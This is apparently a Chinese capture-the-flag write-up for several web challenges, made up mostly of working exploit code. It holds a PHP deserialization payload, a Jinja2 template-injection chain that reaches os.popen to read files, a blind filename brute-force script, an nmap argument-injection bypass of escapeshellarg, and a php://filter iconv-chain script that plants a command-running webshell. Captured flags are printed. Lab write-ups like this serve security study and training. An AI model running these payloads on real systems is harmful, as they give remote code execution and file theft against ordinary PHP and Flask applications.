1 2 3 ?user=C%3A13%3A%22ArrayIterator%22%3A366%3A%7Bx%3Ai%3A0%3BO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D&file =data: POST:ctf=FilesystemIterator
klf_2&klf_3 klf_2的payload复制到klf_3里同样适用=-=
在/robots.txt里找到/secr3ttt
https://xz.aliyun.com/t/9584
这道题过滤了很多关键字,经过测试,留下一个列表可以让我们取用需要的字符
1 2 {% set orglst = ({ }|select|string|list) %} {}orglst}} 在这里取到下划线和空格
可以通过下列语句构造关键字
1 {% set pon = dict(po=aa,pen=dd )|join %}
直接上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 {% set po = dict(po=aa,p=b)| join %} #pop pop被过滤了,构造出pop后用|attr(po)代替 .pop {% set xhx = (({ }| select| string| list)| attr(po)(24 )| string) %} #_ {% set kong = (({ }| select| string| list)| attr(po)(17 )| string) %} #空格 {% set point = ((g| string| list)| attr(po)(6 )| string) %} //g是全局变量,代表flask这个实例 #. {% set claz= dict(cla=aa,ss=b)| join %} #class {% set clazz=(xhx,xhx,claz,xhx,xhx)| join %} #__class__ {% set baz = dict(ba=aa,se=b)| join %} #base {% set bazz=(xhx,xhx,baz,xhx,xhx)| join %} #__base__ {% set subz = dict(subc=aa,lasses=b)| join %} #subclasses {% set subzz=(xhx,xhx,subz,xhx,xhx)| join %} #__subclasses__ {% set getz= dict(geti=aa,tem=b)| join %} #getitem {% set getzz=(xhx,xhx,getz,xhx,xhx)| join %} #__getitem__ {% set inz= dict(in =aa,it=b)| join %} #init {% set inzz=(xhx,xhx,inz,xhx,xhx)| join %} #__init__ {% set glo= dict(glo=aa,bals=b)| join %} #globals {% set glob=(xhx,xhx,glo,xhx,xhx)| join %} #__globals__ {% set xi=()| attr(clazz)| attr(bazz)| attr(subzz)()| attr(getzz)(279 )| attr(inzz)| attr(glob)| string| attr(getzz)(69 ) %} #/ //从另一个表里拿到斜杠 {% set oz= dict(o=aa,s=b)| join %} #os {% set pom= dict(po=aa,pen=b)| join %} #popen {% set re= dict(re=aa,ad=b)| join %} #read {% set ca= dict(c=aa,at=b)| join %} #cat {% set f= dict(fl4 gf=aa,l4 gfl4 g=b)| join %} #fl4gfl4gfl4g {% set payload=(ca,kong,point,point,xi,point,point,xi,f)| join %} #cat ../../fl4gfl4gfl4g {}()|attr(clazz)|attr(bazz)|attr(subzz)()|attr(getzz)(279)|attr(inzz)|attr(glob)|attr(getzz)(oz)|attr(pom)(payload)|attr(re)()}} #().__class__.__base__.__subclasses__.__getitem__(279).__init__.__globals__.__getitem__(oz).popen(cat ../../fl4gfl4gfl4g).read()
__getitem__(279)为[279]
SYC{YARCu1gP5RLkoNNwcI}
Akane! 这道题要我们猜测flag所在文件的名字,根据不同的回显,相当于盲注。
我们要一步一步猜测文件名,所以要绕过wakeup
1 $b = str_replace("Hoshino\" :1" ,"Hoshino\" :2" ,$b );
调用call方法
php这边简单,看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Hoshino { public $Ruby ; }class Idol { public $Akane ='glob:///var/www/html/The*.php' ; public function __construct ($q ) { $this ->Akane=$q ; } }$a = new Hoshino ();$a ->Ruby= new Idol ($argv [1 ]);$b = serialize ($a );$b = str_replace ("Hoshino\":1" ,"Hoshino\":2" ,$b );echo base64_encode ($b );
这里让Akane的值为$argv[1]的值,可以通过外部终端传入,配合python脚本使用,
python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import osimport stringimport requests url='https://j8mh5c6z3h7vvi33edzdfdmqa.node.game.sycsec.com/?tuizi=' filename = 'glob:///var/www/html/The' flag = '' dic = string.ascii_letters+string.digits+'_-+.' for j in range (24 ): for i in dic: file=filename+flag+i+'*.php' print (file) read = os.popen('php /home/yinyun/Documents/php文件/test.php ' +file).read() res = requests.get(url=url+read) if 'Kurokawa Akane' in res.text: flag+=i print (flag) break
爆出名字为:TheS4crEtF1AgFi1EByo2takuXX.php
SYC{qabhfOQdYBX0MYrA8q}
https://blog.csdn.net/weixin_44037296/article/details/110893526
考点 :nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
绕过
PHP中的escapeshellarg()
函数会剔除不可见字符,这个特性可以用来绕过对-iL
、-oN
等参数的过滤。
1 ip =' -i%faL /flag -o%faN 1.txt '
然后看1.txt即可拿到flag
SYC{jvphuvHv43WbXRMoan}
ezrfi hint为:
1 w5 YubyBvd08 gMHcwIG92 MCDDlndvIE8 ubyAwLjAgMC5 vIMOWdjAgMHbDliBPdjAgT3 fDliBvLk8 gw5 Z2 TyAwXzAgMF9 PIG8 uTyAwdjAgw5 ZfbyBPd28 gw5 Z2 TyDDli5 PIMOWXzAgTy5 PIMOWXzAgMHbDliAwLjAgw5 Z2 w5 Ygw5 Z3 MCBPdsOWIMOWdjAgT1 /DliDDlnZPIMOWLk8 gw5 Z3 MCBvd8 OWIMOWLm8 gTy5 vIMOWXzAgMHbDliDDlndvIE93 w5 YgTy5 vIE93 TyBvX28 gw5 YuTyBvLm8 gb3 dPIMOWXzAgb3 dPIMOWXzAgMHZvIG8 uTyBPd8 OWIE92 byAwLsOWIMOWdjAgTy7 DliAwLjAgMHfDliBvLsOWIG93 byBvdzAgMHZvIMOWLm8 gb3 dPIG9 fMCDDli5 PIG9 fbyBPd8 OWIE8 ubyBvdzAgw5 ZfbyBvd28 gw5 YuMCDDlnZPIG9 fTyBPLsOWIE92 MCBPdzAgby7 DliAwdjAgT3 YwIE9 fTyBvLk8 gT 3 bDliDDlnYwIMOWXzAgw5 Z3 byBvd08 gT 19 vIE93 w5 Ygby5 PIMOWdk8 gby4 wIDBfMCDDll9 vIG93 TyBPXzAgMC7 DliDDli5 vIE8 uTyBPdzAgT19 vIMOWdjAgb3 cwIMOWdjAgT18 wIMOWdm8 gw5 Z2 w5 Ygw5 ZfbyAwX8 OWIMOWdm8 gw5 Z2 w5 YgMHcwIE92 w5 Ygw5 YubyDDli4 wIMOWLm8 gb3 ZvIMOWLjAgw5 YuMCAwd28 gb3 dPIG8 uTyAwd8 OWIDB2 MCBvd8 OWIMOWdzAgw5 YubyAwdzAgT1 /DliBvX08 gw5 Z2 byAg
base64解码:
1 Ö.o owO 0 w0 ov0 Öwo O.o 0.0 0 .o Öv0 0 vÖ Ov0 OwÖ o.O ÖvO 0 _0 0 _O o.O 0 v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0 vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0 vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0 vo o.O OwÖ Ovo 0 .Ö Öv0 O.Ö 0.0 0 wÖ o.Ö owo ow0 0 vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0 v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0 _0 Ö_o owO O_0 0 .Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0 _Ö Övo ÖvÖ 0 w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0 wo owO o.O 0 wÖ 0 v0 owÖ Öw0 Ö.o 0 w0 O_Ö o_O Övo
尊嘟假嘟解密:
1 Shy0 JhFpsi+njV0 IfFfzS44 KIcwPFg312 qo6 gfdk0 +DzcoMdSgVs15 cERxpqnPJh4 Y3 b3 i/mcbkPlHGTIA6 /A8 CQU8 UX6 j9 w5 HKy
rc4解密:密钥靠猜:Syclover
1 文件包含逻辑是include ($file .".py" ),你能找到flag文件位置吗??
后缀给死了,我们可以利用php filter chain
突破后缀”限制”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requests url = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php" file_to_use = "/var/hint" command = "cat /ffffffllllag" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " r = requests.get(url, params={ "0" : command, "action" : "xxx" , "file" : final_payload })print (r.text)
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}